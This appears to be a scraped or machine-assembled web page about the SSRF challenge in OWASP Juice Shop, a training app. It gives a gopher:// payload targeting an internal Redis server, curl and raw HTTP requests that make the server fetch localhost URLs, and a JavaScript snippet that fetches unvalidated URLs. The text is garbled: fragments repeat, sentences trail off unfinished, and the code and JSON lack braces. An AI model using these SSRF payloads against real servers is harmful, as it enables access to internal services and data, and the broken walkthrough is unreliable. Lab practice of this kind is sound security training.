Juice Shop Ssrf -

gopher://internal-redis:6379/_*2%0d%0a$4%0d%0aINFO%0d%0a This could dump internal databases. Leverage timing attacks. For each port:

The critical mistake: . Exploitation: The Juice Shop SSRF Challenge To solve the Juice Shop SSRF challenge (usually titled "Who's the real unicorn?" or "SSRF – Request Bomb"), you must make the server fetch a resource from a location it shouldn't. Step 1: Reconnaissance with Localhost First, test if the server will fetch from localhost . Use Burp Suite or your browser's developer tools to intercept the image upload request. juice shop ssrf

Using a tool like curl or Burp Repeater: Exploitation: The Juice Shop SSRF Challenge To solve

curl -X POST https://juice-shop.local/api/image/uploads \ -H "Content-Type: application/json" \ -d '"url": "http://localhost:3000/this/file/does/not/exist"' Because the server makes the request, the error response might reveal internal paths, but the actual flag is obtained by pointing to: Using a tool like curl or Burp Repeater:

// Vulnerable code example (simplified from Juice Shop source) app.post('/api/image/uploads', (req, res) => const imageUrl = req.body.url; // No validation of the URL scheme or domain request.get(imageUrl, (error, response, body) => if (error) res.status(400).send('Failed to fetch image'); else // Process the image... res.send('Image uploaded');

POST /api/image/uploads HTTP/1.1 Host: juice-shop.local Content-Type: application/json "url": "http://localhost:3000/some/path"